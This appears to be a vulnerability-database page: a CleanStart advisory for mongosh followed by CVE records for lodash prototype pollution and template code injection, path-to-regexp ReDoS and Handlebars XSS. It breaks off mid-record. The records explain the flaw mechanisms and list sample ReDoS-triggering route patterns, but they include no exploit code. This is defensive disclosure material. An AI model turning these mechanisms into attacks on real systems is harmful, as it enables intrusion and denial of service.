Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Multiple security vulnerabilities affect the mongosh package. Axios is a promise based HTTP client for the browser and Node. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "mongosh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0-r3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the mongosh package. Axios is a promise based HTTP client for the browser and Node. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-KS09647",
"modified": "2026-04-15T07:43:47Z",
"published": "2026-04-16T00:55:51.498867Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-KS09647.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-25285"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-21637"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2950"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33916"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4923"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4926"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-23c5-xmqv-rm74"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2qvq-rjwj-gvw9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2w6w-674q-4c4q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3mfm-83xf-c92r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3p68-rc4w-qgx5"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3ppc-4f35-3m26"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3v7f-55p6-f55p"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-442j-39wm-28r2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-48c2-rrv3-qjmp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72xf-g2v4-qvf3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7r86-cg39-jmmj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7rx3-28cr-v5wh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-9cx6-37pm-9jff"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-c2c7-rcm5-vvqj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-chqc-8p9q-pq6q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f23m-r3pf-42rh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-f886-m6hf-6m8v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-j3q9-mxjg-w52f"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pfrx-2q88-qq97"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r5fr-rjxr-66jc"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rc47-6667-2j5j"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rmvr-2pp2-xj38"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xhpv-hc6g-r9c6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xjpj-3mr7-gcpf"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25285"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21637"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2950"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33916"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4923"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4926"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Axios is a promise based HTTP client for the browser and Node",
"upstream": [
"CVE-2025-25285",
"CVE-2025-62718",
"CVE-2026-21637",
"CVE-2026-2950",
"CVE-2026-33750",
"CVE-2026-33916",
"CVE-2026-33937",
"CVE-2026-4800",
"CVE-2026-4923",
"CVE-2026-4926",
"ghsa-23c5-xmqv-rm74",
"ghsa-2qvq-rjwj-gvw9",
"ghsa-2w6w-674q-4c4q",
"ghsa-3mfm-83xf-c92r",
"ghsa-3p68-rc4w-qgx5",
"ghsa-3ppc-4f35-3m26",
"ghsa-3v7f-55p6-f55p",
"ghsa-442j-39wm-28r2",
"ghsa-48c2-rrv3-qjmp",
"ghsa-72xf-g2v4-qvf3",
"ghsa-7r86-cg39-jmmj",
"ghsa-7rx3-28cr-v5wh",
"ghsa-9cx6-37pm-9jff",
"ghsa-c2c7-rcm5-vvqj",
"ghsa-chqc-8p9q-pq6q",
"ghsa-f23m-r3pf-42rh",
"ghsa-f886-m6hf-6m8v",
"ghsa-j3q9-mxjg-w52f",
"ghsa-pfrx-2q88-qq97",
"ghsa-r5fr-rjxr-66jc",
"ghsa-rc47-6667-2j5j",
"ghsa-rmvr-2pp2-xj38",
"ghsa-xhpv-hc6g-r9c6",
"ghsa-xjpj-3mr7-gcpf"
]
}
CVE-2026-2950 (GCVE-0-2026-2950)
Vulnerability from cvelistv5 – Published: 2026-03-31 19:18 – Updated: 2026-04-01 13:43- CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
| Vendor | Product | Version | |||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| lodash | lodash |
Affected:
4.17.23 , < 4.18.0
(semver)
Unaffected: 4.18.0 (semver) |
|||||||||||||||||
|
|||||||||||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-2950",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-01T13:43:14.280375Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-01T13:43:21.491Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash",
"product": "lodash",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.17.23",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash-es",
"product": "lodash-es",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.17.23",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash-amd",
"product": "lodash-amd",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.17.23",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash.unset",
"product": "lodash.unset",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "Haruna38"
},
{
"lang": "en",
"type": "finder",
"value": "shpik-kr"
},
{
"lang": "en",
"type": "finder",
"value": "maru1009"
},
{
"lang": "en",
"type": "finder",
"value": "ott3r07"
},
{
"lang": "en",
"type": "finder",
"value": "zolbooo"
},
{
"lang": "en",
"type": "finder",
"value": "backuardo"
},
{
"lang": "en",
"type": "remediation developer",
"value": "falsyvalues"
},
{
"lang": "en",
"type": "remediation developer",
"value": "jonchurch"
},
{
"lang": "en",
"type": "analyst",
"value": "jdalton"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "UlisesGascon"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Impact:\n\nLodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for (CVE-2025-13465: https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.\n\nThe issue permits deletion of prototype properties but does not allow overwriting their original behavior.\n\nPatches:\n\nThis issue is patched in 4.18.0.\n\nWorkarounds:\n\nNone. Upgrade to the patched version."
}
],
"value": "Impact:\n\nLodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for (CVE-2025-13465: https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.\n\nThe issue permits deletion of prototype properties but does not allow overwriting their original behavior.\n\nPatches:\n\nThis issue is patched in 4.18.0.\n\nWorkarounds:\n\nNone. Upgrade to the patched version."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1321",
"description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T19:18:35.796Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg"
}
],
"title": "lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`",
"x_generator": {
"engine": "cve-kit 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"assignerShortName": "openjs",
"cveId": "CVE-2026-2950",
"datePublished": "2026-03-31T19:18:35.796Z",
"dateReserved": "2026-02-21T20:04:35.087Z",
"dateUpdated": "2026-04-01T13:43:21.491Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-4926 (GCVE-0-2026-4926)
Vulnerability from cvelistv5 – Published: 2026-03-26 18:59 – Updated: 2026-03-27 19:44| Vendor | Product | Version | ||
|---|---|---|---|---|
| path-to-regexp | path-to-regexp |
Affected:
8.0.0 , < 8.4.0
(semver)
Unaffected: 8.4.0 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4926",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-27T19:44:44.790485Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T19:44:53.294Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/path-to-regexp",
"product": "path-to-regexp",
"vendor": "path-to-regexp",
"versions": [
{
"lessThan": "8.4.0",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "8.4.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "uug4na"
},
{
"lang": "en",
"type": "remediation developer",
"value": "blakeembrey"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "UlisesGascon"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Impact:\n\nA bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as `{a}{b}{c}:z`. The generated regex grows exponentially with the number of groups, causing denial of service.\n\nPatches:\n\nFixed in version 8.4.0.\n\nWorkarounds:\n\nLimit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns."
}
],
"value": "Impact:\n\nA bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as `{a}{b}{c}:z`. The generated regex grows exponentially with the number of groups, causing denial of service.\n\nPatches:\n\nFixed in version 8.4.0.\n\nWorkarounds:\n\nLimit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-26T18:59:38.000Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://cna.openjsf.org/security-advisories.html"
}
],
"title": "path-to-regexp vulnerable to Denial of Service via sequential optional groups",
"x_generator": {
"engine": "cve-kit 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"assignerShortName": "openjs",
"cveId": "CVE-2026-4926",
"datePublished": "2026-03-26T18:59:38.000Z",
"dateReserved": "2026-03-26T18:36:49.229Z",
"dateUpdated": "2026-03-27T19:44:53.294Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-33916 (GCVE-0-2026-33916)
Vulnerability from cvelistv5 – Published: 2026-03-27 21:00 – Updated: 2026-03-30 15:41| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| handlebars-lang | handlebars.js |
Affected:
>= 4.0.0, < 4.7.9
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33916",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-30T15:41:27.326408Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-30T15:41:36.977Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "handlebars.js",
"vendor": "handlebars-lang",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.0.0, \u003c 4.7.9"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS. Version 4.7.9 fixes the issue. Some workarounds are available. Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries, and/or use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.7,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1321",
"description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T21:00:48.624Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9"
},
{
"name": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"name": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"source": {
"advisory": "GHSA-2qvq-rjwj-gvw9",
"discovery": "UNKNOWN"
},
"title": "Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33916",
"datePublished": "2026-03-27T21:00:48.624Z",
"dateReserved": "2026-03-24T15:41:47.492Z",
"dateUpdated": "2026-03-30T15:41:36.977Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-4923 (GCVE-0-2026-4923)
Vulnerability from cvelistv5 – Published: 2026-03-26 19:02 – Updated: 2026-03-27 13:58- CWE-1333 - Inefficient Regular Expression Complexity
| Vendor | Product | Version | ||
|---|---|---|---|---|
| path-to-regexp | path-to-regexp |
Affected:
8.0.0 , < 8.4.0
(semver)
Unaffected: 8.4.0 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4923",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-27T13:46:47.360477Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T13:58:03.925Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/path-to-regexp",
"product": "path-to-regexp",
"vendor": "path-to-regexp",
"versions": [
{
"lessThan": "8.4.0",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "8.4.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "blakeembrey"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "UlisesGascon"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Impact:\n\nWhen using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.\n\nUnsafe examples:\n\n/*foo-*bar-:baz\n/*a-:b-*c-:d\n/x/*a-:b/*c/y\n\nSafe examples:\n\n/*foo-:bar\n/*foo-:bar-*baz\n\nPatches:\n\nUpgrade to version 8.4.0.\n\nWorkarounds:\n\nIf you are using multiple wildcard parameters, you can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable."
}
],
"value": "Impact:\n\nWhen using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.\n\nUnsafe examples:\n\n/*foo-*bar-:baz\n/*a-:b-*c-:d\n/x/*a-:b/*c/y\n\nSafe examples:\n\n/*foo-:bar\n/*foo-:bar-*baz\n\nPatches:\n\nUpgrade to version 8.4.0.\n\nWorkarounds:\n\nIf you are using multiple wildcard parameters, you can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-26T19:02:00.729Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://cna.openjsf.org/security-advisories.html"
}
],
"title": "path-to-regexp vulnerable to Regular Expression Denial of Service via multiple wildcards",
"x_generator": {
"engine": "cve-kit 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"assignerShortName": "openjs",
"cveId": "CVE-2026-4923",
"datePublished": "2026-03-26T19:02:00.729Z",
"dateReserved": "2026-03-26T18:05:44.717Z",
"dateUpdated": "2026-03-27T13:58:03.925Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-4800 (GCVE-0-2026-4800)
Vulnerability from cvelistv5 – Published: 2026-03-31 19:25 – Updated: 2026-03-31 20:37- CWE-94 - Improper Control of Generation of Code ('Code Injection')
| Vendor | Product | Version | |||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| lodash | lodash |
Affected:
4.0.0 , < 4.18.0
(semver)
Unaffected: 4.18.0 (semver) |
|||||||||||||||||
|
|||||||||||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4800",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-31T20:36:55.080392Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T20:37:03.964Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash",
"product": "lodash",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash-es",
"product": "lodash-es",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash-amd",
"product": "lodash-amd",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/lodash.template",
"product": "lodash.template",
"vendor": "lodash",
"versions": [
{
"lessThan": "4.18.0",
"status": "affected",
"version": "4.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "4.18.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "dolevmiz1"
},
{
"lang": "en",
"type": "reporter",
"value": "bugbunny-research"
},
{
"lang": "en",
"type": "reporter",
"value": "M0nd0R"
},
{
"lang": "en",
"type": "remediation developer",
"value": "UlisesGascon"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "falsyvalues"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "jonchurch"
},
{
"lang": "en",
"type": "reporter",
"value": "threalwinky"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "jdalton"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Impact:\n\nThe fix for CVE-2021-23337 (https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.\n\nWhen an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.\n\nAdditionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function().\n\nPatches:\n\nUsers should upgrade to version 4.18.0.\n\nWorkarounds:\n\nDo not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names."
}
],
"value": "Impact:\n\nThe fix for CVE-2021-23337 (https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.\n\nWhen an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.\n\nAdditionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function().\n\nPatches:\n\nUsers should upgrade to version 4.18.0.\n\nWorkarounds:\n\nDo not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-94",
"description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-31T19:25:55.987Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://github.com/advisories/GHSA-35jh-r3h4-6jhm"
},
{
"url": "https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c"
},
{
"url": "https://cna.openjsf.org/security-advisories.html"
}
],
"title": "lodash vulnerable to Code Injection via `_.template` imports key names",
"x_generator": {
"engine": "cve-kit 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"assignerShortName": "openjs",
"cveId": "CVE-2026-4800",
"datePublished": "2026-03-31T19:25:55.987Z",
"dateReserved": "2026-03-25T09:12:38.355Z",
"dateUpdated": "2026-03-31T20:37:03.964Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-33750 (GCVE-0-2026-33750)
Vulnerability from cvelistv5 – Published: 2026-03-27 14:04 – Updated: 2026-03-27 14:48- CWE-400 - Uncontrolled Resource Consumption
| URL | Tags | |||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
